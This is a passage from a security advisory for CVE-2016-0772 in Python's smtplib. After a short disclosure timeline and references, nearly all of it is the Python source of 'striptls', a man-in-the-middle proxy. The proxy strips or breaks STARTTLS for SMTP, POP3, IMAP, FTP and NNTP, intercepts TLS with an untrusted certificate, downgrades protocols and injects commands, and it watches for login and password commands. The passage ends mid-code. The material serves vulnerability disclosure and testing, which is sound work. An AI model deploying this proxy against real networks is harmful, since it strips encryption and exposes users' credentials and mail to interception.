06/12/2016 request ETA;
06/14/2016 response: ETA ~ June 26th
06/14/2016 vendor announcement [9]
References
---------
[1] https://www.python.org/
[2] https://www.python.org/downloads/
[3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py
[4] https://en.wikipedia.org/wiki/Python_(programming_language)
[5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls
[6] https://github.com/tintinweb/striptls
[7] https://docs.python.org/2/library/smtplib.html
[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772
[9] http://www.openwall.com/lists/oss-security/2016/06/14/9
[10] https://access.redhat.com/security/cve/cve-2016-0772
#! /usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
# see: https://github.com/tintinweb/striptls
# pip install striptls
#
'''
inbound outbound
[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]
'''
import sys
import os
import logging
import socket
import select
import ssl
import time
import re
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')
logger = logging.getLogger(__name__)
class SessionTerminatedException(Exception):pass
class ProtocolViolationException(Exception):pass
class TcpSockBuff(object):
''' Wrapped Tcp Socket with access to last sent/received data '''
def __init__(self, sock, peer=None):
self.socket = None
self.socket_ssl = None
self.recvbuf = ''
self.sndbuf = ''
self.peer = peer
self._init(sock)
def _init(self, sock):
self.socket = sock
def connect(self, target=None):
target = target or self.peer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return self.socket.connect(target)
def accept(self):
return self.socket.accept()
def recv(self, buflen=8*1024, *args, **kwargs):
if self.socket_ssl:
chunks = []
chunk = True
data_pending = buflen
while chunk and data_pending:
chunk = self.socket_ssl.read(data_pending)
chunks.append(chunk)
data_pending = self.socket_ssl.pending()
self.recvbuf = ''.join(chunks)
else:
self.recvbuf = self.socket.recv(buflen, *args, **kwargs)
return self.recvbuf
def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):
force_first_loop_iteration = True
end = time.time()+timeout if timeout else 0
while force_first_loop_iteration or (not timeout or time.time()<end):
# force one recv otherwise we might not even try to read if timeout is too narrow
try:
return self.recv(buflen=buflen, *args, **kwargs)
except ssl.SSLWantReadError:
pass
force_first_loop_iteration = False
def send(self, data, retransmit_delay=0.1):
if self.socket_ssl:
last_exception = None
for _ in xrange(3):
try:
self.socket_ssl.write(data)
last_exception = None
break
except ssl.SSLWantWriteError,swwe:
logger.warning("TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s"%(_,retransmit_delay,repr(swwe)))
last_exception = swwe
time.sleep(retransmit_delay)
if last_exception:
raise last_exception
else:
self.socket.send(data)
self.sndbuf = data
def sendall(self, data):
if self.socket_ssl:
self.send(data)
else:
self.socket.sendall(data)
self.sndbuf = data
def ssl_wrap_socket(self, *args, **kwargs):
if len(args)>=1:
args[1] = self.socket
if 'sock' in kwargs:
kwargs['sock'] = self.socket
if not args and not kwargs.get('sock'):
kwargs['sock'] = self.socket
self.socket_ssl = ssl.wrap_socket(*args, **kwargs)
self.socket_ssl.setblocking(0) # nonblocking for select
def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):
if len(args)>=1:
args[1] = self.socket
if 'sock' in kwargs:
kwargs['sock'] = self.socket
if not args and not kwargs.get('sock'):
kwargs['sock'] = self.socket
self.socket_ssl = ctx.wrap_socket(*args, **kwargs)
self.socket_ssl.setblocking(0) # nonblocking for select
class ProtocolDetect(object):
PROTO_SMTP = 25
PROTO_XMPP = 5222
PROTO_IMAP = 143
PROTO_FTP = 21
PROTO_POP3 = 110
PROTO_NNTP = 119
PROTO_IRC = 6667
PROTO_ACAP = 675
PROTO_SSL = 443
PORTMAP = {25: PROTO_SMTP,
5222:PROTO_XMPP,
110: PROTO_POP3,
143: PROTO_IMAP,
21: PROTO_FTP,
119: PROTO_NNTP,
6667: PROTO_IRC,
675: PROTO_ACAP
}
KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),
(['xmpp'], PROTO_XMPP),
(['. capability'], PROTO_IMAP),
(['auth tls'], PROTO_FTP)
)
def __init__(self, target=None):
self.protocol_id = None
self.history = []
if target:
self.protocol_id = self.PORTMAP.get(target[1])
if self.protocol_id:
logger.debug("%s - protocol detected (target port)"%repr(self))
def __str__(self):
return repr(self.proto_id_to_name(self.protocol_id))
def __repr__(self):
return "<ProtocolDetect %s protocol_id=%s len_history=%d>"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))
def proto_id_to_name(self, id):
if not id:
return id
for p in (a for a in dir(self) if a.startswith("PROTO_")):
if getattr(self, p)==id:
return p
def detect_peek_tls(self, sock):
if sock.socket_ssl:
raise Exception("SSL Detection for ssl socket ..whut!")
TLS_VERSIONS = {
# SSL
'\x00\x02':"SSL_2_0",
'\x03\x00':"SSL_3_0",
# TLS
'\x03\x01':"TLS_1_0",
'\x03\x02':"TLS_1_1",
'\x03\x03':"TLS_1_2",
'\x03\x04':"TLS_1_3",
}
TLS_CONTENT_TYPE_HANDSHAKE = '\x16'
SSLv2_PREAMBLE = 0x80
SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\x01'
peek_bytes = sock.recv(5, socket.MSG_PEEK)
if not len(peek_bytes)==5:
return
# detect sslv2, sslv3, tls: one symbol is one byte; T .. type
# L .. length
# V .. version
# 01234
# detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.
# sslv3 TVVLL
# tls TVVLL T=0x16 ... ContentType.Handshake
v = None
if ord(peek_bytes[0]) & SSLv2_PREAMBLE \
and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \
and peek_bytes[3:3+2] in TLS_VERSIONS.keys():
v = TLS_VERSIONS.get(peek_bytes[3:3+2])
logger.info("ProtocolDetect: SSL23/TLS version: %s"%v)
elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \
and peek_bytes[1:1+2] in TLS_VERSIONS.keys():
v = TLS_VERSIONS.get(peek_bytes[1:1+2])
logger.info("ProtocolDetect: TLS version: %s"%v)
return v
def detect(self, data):
if self.protocol_id:
return self.protocol_id
self.history.append(data)
for keywordlist,proto in self.KEYWORDS:
if any(k in data.lower() for k in keywordlist):
self.protocol_id = proto
logger.debug("%s - protocol detected (protocol messages)"%repr(self))
return
class Session(object):
''' Proxy session from client <-> proxy <-> server
@param inbound: inbound socket
@param outbound: outbound socket
@param target: target tuple ('ip',port)
@param buffer_size: socket buff size'''
def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):
self.proxy = proxy
self.bind = proxy.getsockname()
self.inbound = TcpSockBuff(inbound)
self.outbound = TcpSockBuff(outbound, peer=target)
self.buffer_size = buffer_size
self.protocol = ProtocolDetect(target=target)
self.datastore = {}
def __repr__(self):
return "<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>"%(hex(id(self)),
self.inbound.peer,
self.bind,
self.outbound.peer)
def __str__(self):
return "<Session %s>"%hex(id(self))
def connect(self, target):
self.outbound.peer = target
logger.info("%s connecting to target %s"%(self, repr(target)))
return self.outbound.connect(target)
def accept(self):
sock, addr = self.proxy.accept()
self.inbound = TcpSockBuff(sock)
self.inbound.peer = addr
logger.info("%s client %s has connected"%(self,repr(self.inbound.peer)))
return sock,addr
def get_peer_sockets(self):
return [self.inbound.socket, self.outbound.socket]
def notify_read(self, sock):
if sock == self.proxy:
self.accept()
self.connect(self.outbound.peer)
elif sock == self.inbound.socket:
# new client -> prxy - data
self.on_recv_peek(self.inbound, self)
self.on_recv(self.inbound, self.outbound, self)
elif sock == self.outbound.socket:
# new sprxy <- target - data
self.on_recv(self.outbound, self.inbound, self)
return
def close(self):
try:
self.outbound.socket.shutdown(2)
self.outbound.socket.close()
self.inbound.socket.shutdown(2)
self.inbound.socket.close()
except socket.error, se:
logger.warning("session.close(): Exception: %s"%repr(se))
raise SessionTerminatedException()
def on_recv(self, s_in, s_out, session):
data = s_in.recv(session.buffer_size)
self.protocol.detect(data)
if not len(data):
return session.close()
if s_in == session.inbound:
data = self.mangle_client_data(session, data)
elif s_in == session.outbound:
data = self.mangle_server_data(session, data)
if data:
s_out.sendall(data)
return data
def on_recv_peek(self, s_in, session): pass
def mangle_client_data(self, session, data, rewrite): return data
def mangle_server_data(self, session, data, rewrite): return data
class ProxyServer(object):
'''Proxy Class'''
def __init__(self, listen, target, buffer_size=4096, delay=0.0001):
self.input_list = set([])
self.sessions = {} # sock:Session()
self.callbacks = {} # name: [f,..]
#
self.listen = listen
self.target = target
#
self.buffer_size = buffer_size
self.delay = delay
self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.bind.bind(listen)
self.bind.listen(200)
def __str__(self):
return "<Proxy %s listen=%s target=%s>"%(hex(id(self)),self.listen, self.target)
def get_session_by_client_sock(self, sock):
return self.sessions.get(sock)
def set_callback(self, name, f):
self.callbacks[name] = f
def main_loop(self):
self.input_list.add(self.bind)
while True:
time.sleep(self.delay)
inputready, _, _ = select.select(self.input_list, [], [])
for sock in inputready:
if not sock in self.input_list:
# Check if inputready sock is still in the list of socks to read from
# as SessionTerminateException might remove multiple sockets from that list
# this might otherwise lead to bad FD access exceptions
continue
session = None
try:
if sock == self.bind:
# on_accept
session = Session(sock, target=self.target)
for k,v in self.callbacks.iteritems():
setattr(session, k, v)
session.notify_read(sock)
for s in session.get_peer_sockets():
self.sessions[s]=session
self.input_list.update(session.get_peer_sockets())
else:
# on_recv
try:
session = self.get_session_by_client_sock(sock)
session.notify_read(sock)
except ssl.SSLError, se:
if se.errno != ssl.SSL_ERROR_WANT_READ:
raise
continue
except SessionTerminatedException:
self.input_list.difference_update(session.get_peer_sockets())
logger.warning("%s terminated."%session)
except Exception, e:
logger.error("main: %s"%repr(e))
if isinstance(e,IOError):
for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith("_TLS_")):
if not os.path.isfile(value):
logger.error("%s = %s - file not found"%(kname, repr(value)))
if session:
logger.error("main: removing all sockets associated with session that raised exception: %s"%repr(session))
try:
session.close()
except SessionTerminatedException: pass
self.input_list.difference_update(session.get_peer_sockets())
elif sock and sock!=self.bind:
# exception for non-bind socket - probably fine to close and remove it from our list
logger.error("main: removing socket that probably raised the exception")
sock.close()
self.input_list.remove(sock)
else:
# this is just super-fatal - something happened while processing our bind socket.
raise
class Vectors:
_TLS_CERTFILE = "server.pem"
_TLS_KEYFILE = "server.pem"
class GENERIC:
_PROTO_ID = None
class Intercept:
'''
proto independent msg_peek based tls interception
'''
@staticmethod
def mangle_server_data(session, data, rewrite): return data
@staticmethod
def mangle_client_data(session, data, rewrite): return data
@staticmethod
def on_recv_peek(session, s_in):
if s_in.socket_ssl:
return
ssl_version = session.protocol.detect_peek_tls(s_in)
if ssl_version:
logger.info("SSL Handshake detected - performing ssl/tls conversion")
try:
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
session.outbound.ssl_wrap_socket_with_context(context, server_side=False)
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
except Exception, e:
logger.warning("Exception - not ssl intercepting outbound: %s"%repr(e))
@staticmethod
def create_ssl_context(proto=ssl.PROTOCOL_SSLv23,
verify_mode=ssl.CERT_NONE,
protocols=None,
options=None,
ciphers="ALL"):
protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',
'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')
options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',
'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')
context = ssl.SSLContext(proto)
context.verify_mode = verify_mode
# reset protocol, options
context.protocol = 0
context.options = 0
for p in protocols:
context.protocol |= getattr(ssl, p, 0)
for o in options:
context.options |= getattr(ssl, o, 0)
context.set_ciphers(ciphers)
return context
class InboundIntercept:
'''
proto independent msg_peek based tls interception
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
# peek again - make sure to check for inbound ssl connections
# before forwarding data to the inbound channel
# just in case server is faster with answer than client with hello
# likely if smtpd and striptls are running on the same segment
# and client is not.
if not session.inbound.socket_ssl:
# only peek if inbound is not in tls mode yet
# kind of a hack but allow additional 0.1 secs for the client
# to send its hello
time.sleep(0.1)
Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
return data
@staticmethod
def on_recv_peek(session, s_in):
if s_in.socket_ssl:
return
ssl_version = session.protocol.detect_peek_tls(s_in)
if ssl_version:
logger.info("SSL Handshake detected - performing ssl/tls conversion")
try:
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
except Exception, e:
logger.warning("Exception - not ssl intercepting inbound: %s"%repr(e))
class SMTP:
_PROTO_ID = 25
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data:
features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f]
if not features[-1].startswith("250 "):
features[-1] = features[-1].replace("250-","250 ") # end marker
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithInvalidResponseCode:
''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)
2) Respond to client STARTTLS with invalid response code
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data:
features = list(data.strip().split("\r\n"))
features.insert(-1,"250-STARTTLS") # add STARTTLS from capabilities
#if "STARTTLS" in data:
# features = [f for f in features if not "STARTTLS" in f] # remove STARTTLS from capabilities
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("200 STRIPTLS\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("200 STRIPTLS\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithTemporaryError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("454 TLS not available due to temporary reason\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("454 TLS not available due to temporary reason\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("501 Syntax error\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("501 Syntax error\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("220 Go ahead\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "220" not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class InboundStarttlsProxy:
''' Inbound is starttls, outbound is plain
1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
# keep track of stripped server ehlo/helo
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data and not session.datastore.get("server_ehlo_stripped"): #only do this once
# wait for full line
while not "250 " in data:
data+=session.outbound.recv_blocked()
features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f]
if features and not features[-1].startswith("250 "):
features[-1] = features[-1].replace("250-","250 ") # end marker
# force starttls announcement
session.datastore['server_ehlo_stripped']= '\r\n'.join(features)+'\r\n' # stripped
if len(features)>1:
features.insert(-1,"250-STARTTLS")
else:
features.append("250 STARTTLS")
features[0]=features[0].replace("250 ","250-")
data = '\r\n'.join(features)+'\r\n' # forced starttls
session.datastore['server_ehlo'] = data
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("220 Go ahead\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# inbound ssl, fake server ehlo on helo/ehlo
indata = session.inbound.recv_blocked()
if not any(e in indata for e in ('ehlo','helo')):
raise ProtocolViolationException("whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s"%repr(indata))
logger.debug("%s [client] => [ ][mangled] %s"%(session,repr(indata)))
session.inbound.sendall(session.datastore["server_ehlo_stripped"])
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"])))
data=None
elif any(e in data for e in ('ehlo','helo')) and session.datastore.get("server_ehlo_stripped"):
# just do not forward the second ehlo/helo
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class ProtocolDowngradeStripExtendedMode:
''' Return error on EHLO to force peer to non-extended mode
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.lower().startswith("ehlo "):
session.inbound.sendall("502 Error: command \"EHLO\" not implemented\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Error: command \"EHLO\" not implemented\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class InjectCommand:
''' 1) Append command to STARTTLS\r\n.
2) untrusted intercept to check if we get an invalid command response from server
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
data += "INJECTED_INVALID_COMMAND\r\n"
#logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data)))
try:
Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)
except ssl.SSLEOFError, se:
logging.info("%s - Server failed to negotiate SSL with Exception: %s"%(session, repr(se)))
session.close()
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class POP3:
_PROTO_ID = 110
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STLS support
2) raise exception if client tries to negotiated STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if data.lower().startswith('+ok capability'):
features = [f for f in data.strip().split('\r\n') if not "stls" in f.lower()]
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.lower().startswith("stls"):
raise ProtocolViolationException("whoop!? client sent STLS even though we did not announce it.. proto violation: %s"%repr(data))
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "stls" == data.strip().lower():
session.inbound.sendall("-ERR unknown command\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("-ERR unknown command\r\n")))
data=None
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "stls"==data.strip().lower():
# do inbound STARTTLS
session.inbound.sendall("+OK Begin TLS negotiation\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("+OK Begin TLS negotiation\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_CERTFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "+OK" not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class IMAP:
_PROTO_ID = 143
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "CAPABILITY " in data:
# rfc2595
data = data.replace(" STARTTLS","").replace(" LOGINDISABLED","")
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.strip().lower().endswith("starttls"):
id = data.split(' ',1)[0].strip()
session.inbound.sendall("%s BAD unknown command\r\n"%id)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%s BAD unknown command\r\n"%id)))
data=None
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class ProtocolDowngradeToV2:
''' Return IMAP2 instead of IMAP4 in initial server response
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw.lower() in data.lower() for kw in ("IMAP4","* OK ")):
session.inbound.sendall("OK IMAP2 Server Ready\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("OK IMAP2 Server Ready\r\n")))
data=None
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.strip().lower().endswith("starttls"):
id = data.split(' ',1)[0].strip()
# do inbound STARTTLS
session.inbound.sendall("%s OK Begin TLS negotation now\r\n"%id)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("%s OK Begin TLS negotation now\r\n"%id)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_CERTFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "%s OK"%id not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class FTP:
_PROTO_ID = 21
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce AUTH TLS support
2) raise exception if client tries to negotiated AUTH TLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if session.outbound.sndbuf.strip().lower()=="feat" \
and "AUTH TLS" in data:
features = (f for f in data.strip().split('\n') if not "AUTH TLS" in f)
data = '\n'.join(features)+"\r\n"
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "USER " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending AUTH TLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
session.inbound.sendall("500 AUTH TLS not understood\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("500 AUTH TLS not understood\r\n")))
data=None
elif "USER " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "AUTH TLS" in data:
# do inbound STARTTLS
session.inbound.sendall("234 OK Begin TLS negotation now\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("234 OK Begin TLS negotation now\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("234"):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "USER " in data:
rewrite.set_result(session, True)
return data
class NNTP:
_PROTO_ID = 119
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if session.outbound.sndbuf.strip().lower()=="capabilities" \
and "STARTTLS" in data:
features = (f for f in data.strip().split('\n') if not "STARTTLS" in f)
data = '\n'.join(features)+"\r\n"
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
